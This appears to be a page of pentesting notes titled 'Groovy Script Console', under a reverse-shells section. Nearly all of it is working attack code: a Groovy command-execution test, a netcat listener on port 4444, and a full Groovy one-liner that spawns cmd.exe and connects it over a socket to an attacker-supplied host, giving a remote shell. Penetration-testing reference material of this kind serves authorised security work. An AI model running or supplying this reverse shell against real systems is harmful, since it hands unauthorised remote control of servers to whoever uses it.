> For the complete documentation index, see [llms.txt](https://tenaka.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tenaka.gitbook.io/pentesting/exploitation/reverse-shells/groovy-script-console.md).

# Groovy Script Console

#### #Type in the script console for some positive feedback

println "cmd.exe /c syteminfo".execute().text

#### #set up Netcat on kali

nc -nlvp 4444

#### #Paste in to console to connect back to NC

String host="IP"; 

int port=4444;

 String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();